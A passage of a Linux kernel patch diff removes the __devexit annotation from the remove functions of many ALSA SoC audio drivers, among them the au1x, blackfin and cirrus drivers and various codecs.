@@ -186,7 +186,7 @@ static int db1200_audio_probe(struct platform_device *pdev)
 	return snd_soc_register_card(card);
 }
 
-static int __devexit db1200_audio_remove(struct platform_device *pdev)
+static int db1200_audio_remove(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = platform_get_drvdata(pdev);
 	snd_soc_unregister_card(card);
diff --git a/sound/soc/au1x/dbdma2.c b/sound/soc/au1x/dbdma2.c
index ec85c58..3b4eafa 100644
--- a/sound/soc/au1x/dbdma2.c
+++ b/sound/soc/au1x/dbdma2.c
@@ -362,7 +362,7 @@ static int au1xpsc_pcm_drvprobe(struct platform_device *pdev)
 	return snd_soc_register_platform(&pdev->dev, &au1xpsc_soc_platform);
 }
 
-static int __devexit au1xpsc_pcm_drvremove(struct platform_device *pdev)
+static int au1xpsc_pcm_drvremove(struct platform_device *pdev)
 {
 	snd_soc_unregister_platform(&pdev->dev);
 
diff --git a/sound/soc/au1x/dma.c b/sound/soc/au1x/dma.c
index ccfbe5b..befd107 100644
--- a/sound/soc/au1x/dma.c
+++ b/sound/soc/au1x/dma.c
@@ -335,7 +335,7 @@ static int alchemy_pcm_drvprobe(struct platform_device *pdev)
 	return snd_soc_register_platform(&pdev->dev, &alchemy_pcm_soc_platform);
 }
 
-static int __devexit alchemy_pcm_drvremove(struct platform_device *pdev)
+static int alchemy_pcm_drvremove(struct platform_device *pdev)
 {
 	snd_soc_unregister_platform(&pdev->dev);
 
diff --git a/sound/soc/au1x/i2sc.c b/sound/soc/au1x/i2sc.c
index 4737c85..072448a 100644
--- a/sound/soc/au1x/i2sc.c
+++ b/sound/soc/au1x/i2sc.c
@@ -263,7 +263,7 @@ static int au1xi2s_drvprobe(struct platform_device *pdev)
 	return snd_soc_register_dai(&pdev->dev, &au1xi2s_dai_driver);
 }
 
-static int __devexit au1xi2s_drvremove(struct platform_device *pdev)
+static int au1xi2s_drvremove(struct platform_device *pdev)
 {
 	struct au1xpsc_audio_data *ctx = platform_get_drvdata(pdev);
 
diff --git a/sound/soc/au1x/psc-ac97.c b/sound/soc/au1x/psc-ac97.c
index c541c92..6ba07e3 100644
--- a/sound/soc/au1x/psc-ac97.c
+++ b/sound/soc/au1x/psc-ac97.c
@@ -427,7 +427,7 @@ static int au1xpsc_ac97_drvprobe(struct platform_device *pdev)
 	return 0;
 }
 
-static int __devexit au1xpsc_ac97_drvremove(struct platform_device *pdev)
+static int au1xpsc_ac97_drvremove(struct platform_device *pdev)
 {
 	struct au1xpsc_audio_data *wd = platform_get_drvdata(pdev);
 
diff --git a/sound/soc/au1x/psc-i2s.c b/sound/soc/au1x/psc-i2s.c
index bed90cc..360b4e5 100644
--- a/sound/soc/au1x/psc-i2s.c
+++ b/sound/soc/au1x/psc-i2s.c
@@ -353,7 +353,7 @@ static int au1xpsc_i2s_drvprobe(struct platform_device *pdev)
 	return snd_soc_register_dai(&pdev->dev, &wd->dai_drv);
 }
 
-static int __devexit au1xpsc_i2s_drvremove(struct platform_device *pdev)
+static int au1xpsc_i2s_drvremove(struct platform_device *pdev)
 {
 	struct au1xpsc_audio_data *wd = platform_get_drvdata(pdev);
 
diff --git a/sound/soc/blackfin/bf5xx-ac97-pcm.c b/sound/soc/blackfin/bf5xx-ac97-pcm.c
index dce0f25..7e2f360 100644
--- a/sound/soc/blackfin/bf5xx-ac97-pcm.c
+++ b/sound/soc/blackfin/bf5xx-ac97-pcm.c
@@ -458,7 +458,7 @@ static int bf5xx_soc_platform_probe(struct platform_device *pdev)
 	return snd_soc_register_platform(&pdev->dev, &bf5xx_ac97_soc_platform);
 }
 
-static int __devexit bf5xx_soc_platform_remove(struct platform_device *pdev)
+static int bf5xx_soc_platform_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_platform(&pdev->dev);
 	return 0;
diff --git a/sound/soc/blackfin/bf5xx-ac97.c b/sound/soc/blackfin/bf5xx-ac97.c
index 6845373..8e41bcb 100644
--- a/sound/soc/blackfin/bf5xx-ac97.c
+++ b/sound/soc/blackfin/bf5xx-ac97.c
@@ -352,7 +352,7 @@ gpio_err:
 	return ret;
 }
 
-static int __devexit asoc_bfin_ac97_remove(struct platform_device *pdev)
+static int asoc_bfin_ac97_remove(struct platform_device *pdev)
 {
 	struct sport_device *sport_handle = platform_get_drvdata(pdev);
 
diff --git a/sound/soc/blackfin/bf5xx-ad1836.c b/sound/soc/blackfin/bf5xx-ad1836.c
index b87f5aa..d23f4b0 100644
--- a/sound/soc/blackfin/bf5xx-ad1836.c
+++ b/sound/soc/blackfin/bf5xx-ad1836.c
@@ -98,7 +98,7 @@ static int bf5xx_ad1836_driver_probe(struct platform_device *pdev)
 	return ret;
 }
 
-static int __devexit bf5xx_ad1836_driver_remove(struct platform_device *pdev)
+static int bf5xx_ad1836_driver_remove(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = platform_get_drvdata(pdev);
 
diff --git a/sound/soc/blackfin/bf5xx-i2s-pcm.c b/sound/soc/blackfin/bf5xx-i2s-pcm.c
index b3a5cbe..262c1de 100644
--- a/sound/soc/blackfin/bf5xx-i2s-pcm.c
+++ b/sound/soc/blackfin/bf5xx-i2s-pcm.c
@@ -297,7 +297,7 @@ static int bfin_i2s_soc_platform_probe(struct platform_device *pdev)
 	return snd_soc_register_platform(&pdev->dev, &bf5xx_i2s_soc_platform);
 }
 
-static int __devexit bfin_i2s_soc_platform_remove(struct platform_device *pdev)
+static int bfin_i2s_soc_platform_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_platform(&pdev->dev);
 	return 0;
diff --git a/sound/soc/blackfin/bf5xx-i2s.c b/sound/soc/blackfin/bf5xx-i2s.c
index f07e3ae..168d88b 100644
--- a/sound/soc/blackfin/bf5xx-i2s.c
+++ b/sound/soc/blackfin/bf5xx-i2s.c
@@ -267,7 +267,7 @@ static int bf5xx_i2s_probe(struct platform_device *pdev)
 	return 0;
 }
 
-static int __devexit bf5xx_i2s_remove(struct platform_device *pdev)
+static int bf5xx_i2s_remove(struct platform_device *pdev)
 {
 	struct sport_device *sport_handle = platform_get_drvdata(pdev);
 
diff --git a/sound/soc/blackfin/bf5xx-tdm-pcm.c b/sound/soc/blackfin/bf5xx-tdm-pcm.c
index 23a4dec..0e6b888 100644
--- a/sound/soc/blackfin/bf5xx-tdm-pcm.c
+++ b/sound/soc/blackfin/bf5xx-tdm-pcm.c
@@ -322,7 +322,7 @@ static int bf5xx_soc_platform_probe(struct platform_device *pdev)
 	return snd_soc_register_platform(&pdev->dev, &bf5xx_tdm_soc_platform);
 }
 
-static int __devexit bf5xx_soc_platform_remove(struct platform_device *pdev)
+static int bf5xx_soc_platform_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_platform(&pdev->dev);
 	return 0;
diff --git a/sound/soc/blackfin/bf5xx-tdm.c b/sound/soc/blackfin/bf5xx-tdm.c
index 806f8f0..c1e516e 100644
--- a/sound/soc/blackfin/bf5xx-tdm.c
+++ b/sound/soc/blackfin/bf5xx-tdm.c
@@ -295,7 +295,7 @@ sport_config_err:
 	return ret;
 }
 
-static int __devexit bfin_tdm_remove(struct platform_device *pdev)
+static int bfin_tdm_remove(struct platform_device *pdev)
 {
 	struct sport_device *sport_handle = platform_get_drvdata(pdev);
 
diff --git a/sound/soc/blackfin/bf6xx-i2s.c b/sound/soc/blackfin/bf6xx-i2s.c
index a87b7b2..8f33797 100644
--- a/sound/soc/blackfin/bf6xx-i2s.c
+++ b/sound/soc/blackfin/bf6xx-i2s.c
@@ -208,7 +208,7 @@ static int bfin_i2s_probe(struct platform_device *pdev)
 	return 0;
 }
 
-static int __devexit bfin_i2s_remove(struct platform_device *pdev)
+static int bfin_i2s_remove(struct platform_device *pdev)
 {
 	struct sport_device *sport = platform_get_drvdata(pdev);
 
diff --git a/sound/soc/blackfin/bfin-eval-adau1373.c b/sound/soc/blackfin/bfin-eval-adau1373.c
index c494e85..4ef9683 100644
--- a/sound/soc/blackfin/bfin-eval-adau1373.c
+++ b/sound/soc/blackfin/bfin-eval-adau1373.c
@@ -157,7 +157,7 @@ static int bfin_eval_adau1373_probe(struct platform_device *pdev)
 	return snd_soc_register_card(&bfin_eval_adau1373);
 }
 
-static int __devexit bfin_eval_adau1373_remove(struct platform_device *pdev)
+static int bfin_eval_adau1373_remove(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = platform_get_drvdata(pdev);
 
diff --git a/sound/soc/blackfin/bfin-eval-adau1701.c b/sound/soc/blackfin/bfin-eval-adau1701.c
index eb2dab8..3b55081 100644
--- a/sound/soc/blackfin/bfin-eval-adau1701.c
+++ b/sound/soc/blackfin/bfin-eval-adau1701.c
@@ -97,7 +97,7 @@ static int bfin_eval_adau1701_probe(struct platform_device *pdev)
 	return snd_soc_register_card(&bfin_eval_adau1701);
 }
 
-static int __devexit bfin_eval_adau1701_remove(struct platform_device *pdev)
+static int bfin_eval_adau1701_remove(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = platform_get_drvdata(pdev);
 
diff --git a/sound/soc/blackfin/bfin-eval-adav80x.c b/sound/soc/blackfin/bfin-eval-adav80x.c
index 5d71f76..3b1b61a 100644
--- a/sound/soc/blackfin/bfin-eval-adav80x.c
+++ b/sound/soc/blackfin/bfin-eval-adav80x.c
@@ -122,7 +122,7 @@ static int bfin_eval_adav80x_probe(struct platform_device *pdev)
 	return snd_soc_register_card(&bfin_eval_adav80x);
 }
 
-static int __devexit bfin_eval_adav80x_remove(struct platform_device *pdev)
+static int bfin_eval_adav80x_remove(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = platform_get_drvdata(pdev);
 
diff --git a/sound/soc/cirrus/edb93xx.c b/sound/soc/cirrus/edb93xx.c
index 0e766a5..5db68cf 100644
--- a/sound/soc/cirrus/edb93xx.c
+++ b/sound/soc/cirrus/edb93xx.c
@@ -101,7 +101,7 @@ static int edb93xx_probe(struct platform_device *pdev)
 	return ret;
 }
 
-static int __devexit edb93xx_remove(struct platform_device *pdev)
+static int edb93xx_remove(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = platform_get_drvdata(pdev);
 
diff --git a/sound/soc/cirrus/ep93xx-ac97.c b/sound/soc/cirrus/ep93xx-ac97.c
index e70f53f..f3f50e6 100644
--- a/sound/soc/cirrus/ep93xx-ac97.c
+++ b/sound/soc/cirrus/ep93xx-ac97.c
@@ -402,7 +402,7 @@ fail:
 	return ret;
 }
 
-static int __devexit ep93xx_ac97_remove(struct platform_device *pdev)
+static int ep93xx_ac97_remove(struct platform_device *pdev)
 {
 	struct ep93xx_ac97_info	*info = platform_get_drvdata(pdev);
 
diff --git a/sound/soc/cirrus/ep93xx-i2s.c b/sound/soc/cirrus/ep93xx-i2s.c
index fe62a61..3365d4e 100644
--- a/sound/soc/cirrus/ep93xx-i2s.c
+++ b/sound/soc/cirrus/ep93xx-i2s.c
@@ -422,7 +422,7 @@ fail:
 	return err;
 }
 
-static int __devexit ep93xx_i2s_remove(struct platform_device *pdev)
+static int ep93xx_i2s_remove(struct platform_device *pdev)
 {
 	struct ep93xx_i2s_info *info = dev_get_drvdata(&pdev->dev);
 
diff --git a/sound/soc/cirrus/ep93xx-pcm.c b/sound/soc/cirrus/ep93xx-pcm.c
index b294fb1..72eb7a4 100644
--- a/sound/soc/cirrus/ep93xx-pcm.c
+++ b/sound/soc/cirrus/ep93xx-pcm.c
@@ -218,7 +218,7 @@ static int ep93xx_soc_platform_probe(struct platform_device *pdev)
 	return snd_soc_register_platform(&pdev->dev, &ep93xx_soc_platform);
 }
 
-static int __devexit ep93xx_soc_platform_remove(struct platform_device *pdev)
+static int ep93xx_soc_platform_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_platform(&pdev->dev);
 	return 0;
diff --git a/sound/soc/cirrus/simone.c b/sound/soc/cirrus/simone.c
index 1c8d9aa..a397bb0 100644
--- a/sound/soc/cirrus/simone.c
+++ b/sound/soc/cirrus/simone.c
@@ -63,7 +63,7 @@ static int simone_probe(struct platform_device *pdev)
 	return ret;
 }
 
-static int __devexit simone_remove(struct platform_device *pdev)
+static int simone_remove(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = platform_get_drvdata(pdev);
 
diff --git a/sound/soc/cirrus/snappercl15.c b/sound/soc/cirrus/snappercl15.c
index 7f8dcd2..9d77fe2 100644
--- a/sound/soc/cirrus/snappercl15.c
+++ b/sound/soc/cirrus/snappercl15.c
@@ -119,7 +119,7 @@ static int snappercl15_probe(struct platform_device *pdev)
 	return ret;
 }
 
-static int __devexit snappercl15_remove(struct platform_device *pdev)
+static int snappercl15_remove(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = platform_get_drvdata(pdev);
 
diff --git a/sound/soc/codecs/88pm860x-codec.c b/sound/soc/codecs/88pm860x-codec.c
index 0631036..60159c0 100644
--- a/sound/soc/codecs/88pm860x-codec.c
+++ b/sound/soc/codecs/88pm860x-codec.c
@@ -1463,7 +1463,7 @@ out:
 	return -EINVAL;
 }
 
-static int __devexit pm860x_codec_remove(struct platform_device *pdev)
+static int pm860x_codec_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_codec(&pdev->dev);
 	platform_set_drvdata(pdev, NULL);
diff --git a/sound/soc/codecs/ab8500-codec.c b/sound/soc/codecs/ab8500-codec.c
index 300ea60..6c12ac2 100644
--- a/sound/soc/codecs/ab8500-codec.c
+++ b/sound/soc/codecs/ab8500-codec.c
@@ -2580,7 +2580,7 @@ static int ab8500_codec_driver_probe(struct platform_device *pdev)
 	return status;
 }
 
-static int __devexit ab8500_codec_driver_remove(struct platform_device *pdev)
+static int ab8500_codec_driver_remove(struct platform_device *pdev)
 {
 	dev_info(&pdev->dev, "%s Enter.\n", __func__);
 
diff --git a/sound/soc/codecs/ac97.c b/sound/soc/codecs/ac97.c
index 5c0837b..ef2ae32 100644
--- a/sound/soc/codecs/ac97.c
+++ b/sound/soc/codecs/ac97.c
@@ -124,7 +124,7 @@ static int ac97_probe(struct platform_device *pdev)
 			&soc_codec_dev_ac97, &ac97_dai, 1);
 }
 
-static int __devexit ac97_remove(struct platform_device *pdev)
+static int ac97_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_codec(&pdev->dev);
 	return 0;
diff --git a/sound/soc/codecs/ad1836.c b/sound/soc/codecs/ad1836.c
index 384ae12..9a92b79 100644
--- a/sound/soc/codecs/ad1836.c
+++ b/sound/soc/codecs/ad1836.c
@@ -383,7 +383,7 @@ static int ad1836_spi_probe(struct spi_device *spi)
 	return ret;
 }
 
-static int __devexit ad1836_spi_remove(struct spi_device *spi)
+static int ad1836_spi_remove(struct spi_device *spi)
 {
 	snd_soc_unregister_codec(&spi->dev);
 	return 0;
diff --git a/sound/soc/codecs/ad193x.c b/sound/soc/codecs/ad193x.c
index 209b7b5..784554b 100644
--- a/sound/soc/codecs/ad193x.c
+++ b/sound/soc/codecs/ad193x.c
@@ -397,7 +397,7 @@ static int ad193x_spi_probe(struct spi_device *spi)
 			&ad193x_dai, 1);
 }
 
-static int __devexit ad193x_spi_remove(struct spi_device *spi)
+static int ad193x_spi_remove(struct spi_device *spi)
 {
 	snd_soc_unregister_codec(&spi->dev);
 	return 0;
@@ -450,7 +450,7 @@ static int ad193x_i2c_probe(struct i2c_client *client,
 			&ad193x_dai, 1);
 }
 
-static int __devexit ad193x_i2c_remove(struct i2c_client *client)
+static int ad193x_i2c_remove(struct i2c_client *client)
 {
 	snd_soc_unregister_codec(&client->dev);
 	return 0;
diff --git a/sound/soc/codecs/ad1980.c b/sound/soc/codecs/ad1980.c
index db6657f..f385342 100644
--- a/sound/soc/codecs/ad1980.c
+++ b/sound/soc/codecs/ad1980.c
@@ -261,7 +261,7 @@ static int ad1980_probe(struct platform_device *pdev)
 			&soc_codec_dev_ad1980, &ad1980_dai, 1);
 }
 
-static int __devexit ad1980_remove(struct platform_device *pdev)
+static int ad1980_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_codec(&pdev->dev);
 	return 0;
diff --git a/sound/soc/codecs/ad73311.c b/sound/soc/codecs/ad73311.c
index 82c2a7e..b1f2baf 100644
--- a/sound/soc/codecs/ad73311.c
+++ b/sound/soc/codecs/ad73311.c
@@ -47,7 +47,7 @@ static int ad73311_probe(struct platform_device *pdev)
 			&soc_codec_dev_ad73311, &ad73311_dai, 1);
 }
 
-static int __devexit ad73311_remove(struct platform_device *pdev)
+static int ad73311_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_codec(&pdev->dev);
 	return 0;
diff --git a/sound/soc/codecs/adau1373.c b/sound/soc/codecs/adau1373.c
index e20e267..8d180fe 100644
--- a/sound/soc/codecs/adau1373.c
+++ b/sound/soc/codecs/adau1373.c
@@ -1370,7 +1370,7 @@ static int adau1373_i2c_probe(struct i2c_client *client,
 	return ret;
 }
 
-static int __devexit adau1373_i2c_remove(struct i2c_client *client)
+static int adau1373_i2c_remove(struct i2c_client *client)
 {
 	snd_soc_unregister_codec(&client->dev);
 	return 0;
diff --git a/sound/soc/codecs/adau1701.c b/sound/soc/codecs/adau1701.c
index bd7d58f..e6e2c75 100644
--- a/sound/soc/codecs/adau1701.c
+++ b/sound/soc/codecs/adau1701.c
@@ -505,7 +505,7 @@ static int adau1701_i2c_probe(struct i2c_client *client,
 	return ret;
 }
 
-static __devexit int adau1701_i2c_remove(struct i2c_client *client)
+static int adau1701_i2c_remove(struct i2c_client *client)
 {
 	snd_soc_unregister_codec(&client->dev);
 	return 0;
diff --git a/sound/soc/codecs/adav80x.c b/sound/soc/codecs/adav80x.c
index cb960fd..3289616 100644
--- a/sound/soc/codecs/adav80x.c
+++ b/sound/soc/codecs/adav80x.c
@@ -860,7 +860,7 @@ static int adav80x_bus_probe(struct device *dev,
 	return ret;
 }
 
-static int __devexit adav80x_bus_remove(struct device *dev)
+static int adav80x_bus_remove(struct device *dev)
 {
 	snd_soc_unregister_codec(dev);
 	kfree(dev_get_drvdata(dev));
@@ -873,7 +873,7 @@ static int adav80x_spi_probe(struct spi_device *spi)
 	return adav80x_bus_probe(&spi->dev, SND_SOC_SPI);
 }
 
-static int __devexit adav80x_spi_remove(struct spi_device *spi)
+static int adav80x_spi_remove(struct spi_device *spi)
 {
 	return adav80x_bus_remove(&spi->dev);
 }
@@ -901,7 +901,7 @@ static int adav80x_i2c_probe(struct i2c_client *client,
 	return adav80x_bus_probe(&client->dev, SND_SOC_I2C);
 }
 
-static int __devexit adav80x_i2c_remove(struct i2c_client *client)
+static int adav80x_i2c_remove(struct i2c_client *client)
 {
 	return adav80x_bus_remove(&client->dev);
 }
diff --git a/sound/soc/codecs/ads117x.c b/sound/soc/codecs/ads117x.c
index a152f5a..506d474 100644
--- a/sound/soc/codecs/ads117x.c
+++ b/sound/soc/codecs/ads117x.c
@@ -42,7 +42,7 @@ static int ads117x_probe(struct platform_device *pdev)
 			&soc_codec_dev_ads117x, &ads117x_dai, 1);
 }
 
-static int __devexit ads117x_remove(struct platform_device *pdev)
+static int ads117x_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_codec(&pdev->dev);
 	return 0;
diff --git a/sound/soc/codecs/ak4104.c b/sound/soc/codecs/ak4104.c
index b391f26..abca654 100644
--- a/sound/soc/codecs/ak4104.c
+++ b/sound/soc/codecs/ak4104.c
@@ -267,7 +267,7 @@ err:
 	return ret;
 }
 
-static int __devexit ak4104_spi_remove(struct spi_device *spi)
+static int ak4104_spi_remove(struct spi_device *spi)
 {
 	struct ak4104_private *ak4101 = spi_get_drvdata(spi);
 	regmap_exit(ak4101->regmap);
diff --git a/sound/soc/codecs/ak4535.c b/sound/soc/codecs/ak4535.c
index 77e285c..204005b 100644
--- a/sound/soc/codecs/ak4535.c
+++ b/sound/soc/codecs/ak4535.c
@@ -464,7 +464,7 @@ static int ak4535_i2c_probe(struct i2c_client *i2c,
 	return ret;
 }
 
-static __devexit int ak4535_i2c_remove(struct i2c_client *client)
+static int ak4535_i2c_remove(struct i2c_client *client)
 {
 	struct ak4535_priv *ak4535 = i2c_get_clientdata(client);
 
diff --git a/sound/soc/codecs/ak4641.c b/sound/soc/codecs/ak4641.c
index 09da215..69c2d21 100644
--- a/sound/soc/codecs/ak4641.c
+++ b/sound/soc/codecs/ak4641.c
@@ -610,7 +610,7 @@ err_out:
 	return ret;
 }
 
-static int __devexit ak4641_i2c_remove(struct i2c_client *i2c)
+static int ak4641_i2c_remove(struct i2c_client *i2c)
 {
 	struct ak4641_platform_data *pdata = i2c->dev.platform_data;
 
diff --git a/sound/soc/codecs/ak4642.c b/sound/soc/codecs/ak4642.c
index aba3813..b838fc2 100644
--- a/sound/soc/codecs/ak4642.c
+++ b/sound/soc/codecs/ak4642.c
@@ -540,7 +540,7 @@ static int ak4642_i2c_probe(struct i2c_client *i2c,
 	return ret;
 }
 
-static __devexit int ak4642_i2c_remove(struct i2c_client *client)
+static int ak4642_i2c_remove(struct i2c_client *client)
 {
 	snd_soc_unregister_codec(&client->dev);
 	return 0;
diff --git a/sound/soc/codecs/ak4671.c b/sound/soc/codecs/ak4671.c
index 93a76cb..9425ebd 100644
--- a/sound/soc/codecs/ak4671.c
+++ b/sound/soc/codecs/ak4671.c
@@ -674,7 +674,7 @@ static int ak4671_i2c_probe(struct i2c_client *client,
 	return ret;
 }
 
-static __devexit int ak4671_i2c_remove(struct i2c_client *client)
+static int ak4671_i2c_remove(struct i2c_client *client)
 {
 	snd_soc_unregister_codec(&client->dev);
 	return 0;
diff --git a/sound/soc/codecs/alc5623.c b/sound/soc/codecs/alc5623.c
index 5a7ad19..f479b5e 100644
--- a/sound/soc/codecs/alc5623.c
+++ b/sound/soc/codecs/alc5623.c
@@ -1058,7 +1058,7 @@ static int alc5623_i2c_probe(struct i2c_client *client,
 	return ret;
 }
 
-static __devexit int alc5623_i2c_remove(struct i2c_client *client)
+static int alc5623_i2c_remove(struct i2c_client *client)
 {
 	snd_soc_unregister_codec(&client->dev);
 	return 0;
diff --git a/sound/soc/codecs/alc5632.c b/sound/soc/codecs/alc5632.c
index 7026e3d..856c8ef 100644
--- a/sound/soc/codecs/alc5632.c
+++ b/sound/soc/codecs/alc5632.c
@@ -1179,7 +1179,7 @@ static int alc5632_i2c_probe(struct i2c_client *client,
 	return ret;
 }
 
-static __devexit int alc5632_i2c_remove(struct i2c_client *client)
+static int alc5632_i2c_remove(struct i2c_client *client)
 {
 	snd_soc_unregister_codec(&client->dev);
 	return 0;
diff --git a/sound/soc/codecs/cs4271.c b/sound/soc/codecs/cs4271.c
index 3d637b2..8238998 100644
--- a/sound/soc/codecs/cs4271.c
+++ b/sound/soc/codecs/cs4271.c
@@ -585,7 +585,7 @@ static int cs4271_spi_probe(struct spi_device *spi)
 		&cs4271_dai, 1);
 }
 
-static int __devexit cs4271_spi_remove(struct spi_device *spi)
+static int cs4271_spi_remove(struct spi_device *spi)
 {
 	snd_soc_unregister_codec(&spi->dev);
 	return 0;
@@ -625,7 +625,7 @@ static int cs4271_i2c_probe(struct i2c_client *client,
 		&cs4271_dai, 1);
 }
 
-static int __devexit cs4271_i2c_remove(struct i2c_client *client)
+static int cs4271_i2c_remove(struct i2c_client *client)
 {
 	snd_soc_unregister_codec(&client->dev);
 	return 0;
diff --git a/sound/soc/codecs/cs42l73.c b/sound/soc/codecs/cs42l73.c
index 362c20b..c82a0f8 100644
--- a/sound/soc/codecs/cs42l73.c
+++ b/sound/soc/codecs/cs42l73.c
@@ -1406,7 +1406,7 @@ static int cs42l73_i2c_probe(struct i2c_client *i2c_client,
 	return 0;
 }
 
-static __devexit int cs42l73_i2c_remove(struct i2c_client *client)
+static int cs42l73_i2c_remove(struct i2c_client *client)
 {
 	snd_soc_unregister_codec(&client->dev);
 	return 0;
diff --git a/sound/soc/codecs/da7210.c b/sound/soc/codecs/da7210.c
index 0c3b09c..e456463 100644
--- a/sound/soc/codecs/da7210.c
+++ b/sound/soc/codecs/da7210.c
@@ -1257,7 +1257,7 @@ err_regmap:
 	return ret;
 }
 
-static int __devexit da7210_i2c_remove(struct i2c_client *client)
+static int da7210_i2c_remove(struct i2c_client *client)
 {
 	struct da7210_priv *da7210 = i2c_get_clientdata(client);
 
@@ -1359,7 +1359,7 @@ err_regmap:
 	return ret;
 }
 
-static int __devexit da7210_spi_remove(struct spi_device *spi)
+static int da7210_spi_remove(struct spi_device *spi)
 {
 	struct da7210_priv *da7210 = spi_get_drvdata(spi);
 	snd_soc_unregister_codec(&spi->dev);
diff --git a/sound/soc/codecs/da732x.c b/sound/soc/codecs/da732x.c
index 850bfed..cea2827 100644
--- a/sound/soc/codecs/da732x.c
+++ b/sound/soc/codecs/da732x.c
@@ -1596,7 +1596,7 @@ err:
 	return ret;
 }
 
-static __devexit int da732x_i2c_remove(struct i2c_client *client)
+static int da732x_i2c_remove(struct i2c_client *client)
 {
 	snd_soc_unregister_codec(&client->dev);
 
diff --git a/sound/soc/codecs/da9055.c b/sound/soc/codecs/da9055.c
index cf8dfeb..3549a34 100644
--- a/sound/soc/codecs/da9055.c
+++ b/sound/soc/codecs/da9055.c
@@ -1517,7 +1517,7 @@ static int da9055_i2c_probe(struct i2c_client *i2c,
 	return ret;
 }
 
-static int __devexit da9055_remove(struct i2c_client *client)
+static int da9055_remove(struct i2c_client *client)
 {
 	snd_soc_unregister_codec(&client->dev);
 	return 0;
diff --git a/sound/soc/codecs/dfbmcs320.c b/sound/soc/codecs/dfbmcs320.c
index 61ccf30..4f4f7f4 100644
--- a/sound/soc/codecs/dfbmcs320.c
+++ b/sound/soc/codecs/dfbmcs320.c
@@ -39,7 +39,7 @@ static int dfbmcs320_probe(struct platform_device *pdev)
 			&dfbmcs320_dai, 1);
 }
 
-static int __devexit dfbmcs320_remove(struct platform_device *pdev)
+static int dfbmcs320_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_codec(&pdev->dev);
 
diff --git a/sound/soc/codecs/dmic.c b/sound/soc/codecs/dmic.c
index 0dc7fab..66967ba 100644
--- a/sound/soc/codecs/dmic.c
+++ b/sound/soc/codecs/dmic.c
@@ -72,7 +72,7 @@ static int dmic_dev_probe(struct platform_device *pdev)
 			&soc_dmic, &dmic_dai, 1);
 }
 
-static int __devexit dmic_dev_remove(struct platform_device *pdev)
+static int dmic_dev_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_codec(&pdev->dev);
 	return 0;
diff --git a/sound/soc/codecs/isabelle.c b/sound/soc/codecs/isabelle.c
index 8853a83..054a18f 100644
--- a/sound/soc/codecs/isabelle.c
+++ b/sound/soc/codecs/isabelle.c
@@ -1145,7 +1145,7 @@ static int isabelle_i2c_probe(struct i2c_client *i2c,
 	return ret;
 }
 
-static int __devexit isabelle_i2c_remove(struct i2c_client *client)
+static int isabelle_i2c_remove(struct i2c_client *client)
 {
 	snd_soc_unregister_codec(&client->dev);
 	return 0;
diff --git a/sound/soc/codecs/jz4740.c b/sound/soc/codecs/jz4740.c
index 3606f26..d991529 100644
--- a/sound/soc/codecs/jz4740.c
+++ b/sound/soc/codecs/jz4740.c
@@ -380,7 +380,7 @@ static int jz4740_codec_probe(struct platform_device *pdev)
 	return ret;
 }
 
-static int __devexit jz4740_codec_remove(struct platform_device *pdev)
+static int jz4740_codec_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_codec(&pdev->dev);
 
diff --git a/sound/soc/codecs/lm4857.c b/sound/soc/codecs/lm4857.c
index 27e7991..1d004a4 100644
--- a/sound/soc/codecs/lm4857.c
+++ b/sound/soc/codecs/lm4857.c
@@ -228,7 +228,7 @@ static int lm4857_i2c_probe(struct i2c_client *i2c,
 	return ret;
 }
 
-static int __devexit lm4857_i2c_remove(struct i2c_client *i2c)
+static int lm4857_i2c_remove(struct i2c_client *i2c)
 {
 	snd_soc_unregister_codec(&i2c->dev);
 	return 0;
diff --git a/sound/soc/codecs/lm49453.c b/sound/soc/codecs/lm49453.c
index 568e499..a008933 100644
--- a/sound/soc/codecs/lm49453.c
+++ b/sound/soc/codecs/lm49453.c
@@ -1517,7 +1517,7 @@ static int lm49453_i2c_probe(struct i2c_client *i2c,
 	return ret;
 }
 
-static int __devexit lm49453_i2c_remove(struct i2c_client *client)
+static int lm49453_i2c_remove(struct i2c_client *client)
 {
 	struct lm49453_priv *lm49453 = i2c_get_clientdata(client);
 
diff --git a/sound/soc/codecs/max9768.c b/sound/soc/codecs/max9768.c
index 4ece6ab..63ccd6f 100644
--- a/sound/soc/codecs/max9768.c
+++ b/sound/soc/codecs/max9768.c
@@ -210,7 +210,7 @@ static int max9768_i2c_probe(struct i2c_client *client,
 	return err;
 }
 
-static int __devexit max9768_i2c_remove(struct i2c_client *client)
+static int max9768_i2c_remove(struct i2c_client *client)
 {
 	struct max9768 *max9768 = i2c_get_clientdata(client);
 
diff --git a/sound/soc/codecs/max98088.c b/sound/soc/codecs/max98088.c
index b858264..a4c16fd 100644
--- a/sound/soc/codecs/max98088.c
+++ b/sound/soc/codecs/max98088.c
@@ -2084,7 +2084,7 @@ static int max98088_i2c_probe(struct i2c_client *i2c,
        return ret;
 }
 
-static int __devexit max98088_i2c_remove(struct i2c_client *client)
+static int max98088_i2c_remove(struct i2c_client *client)
 {
        snd_soc_unregister_codec(&client->dev);
        return 0;
diff --git a/sound/soc/codecs/max98095.c b/sound/soc/codecs/max98095.c
index 1e17aef..41cdd16 100644
--- a/sound/soc/codecs/max98095.c
+++ b/sound/soc/codecs/max98095.c
@@ -2511,7 +2511,7 @@ static int max98095_i2c_probe(struct i2c_client *i2c,
 	return ret;
 }
 
-static int __devexit max98095_i2c_remove(struct i2c_client *client)
+static int max98095_i2c_remove(struct i2c_client *client)
 {
 	snd_soc_unregister_codec(&client->dev);
 	return 0;
diff --git a/sound/soc/codecs/max9850.c b/sound/soc/codecs/max9850.c
index 261b62f..8720ebc 100644
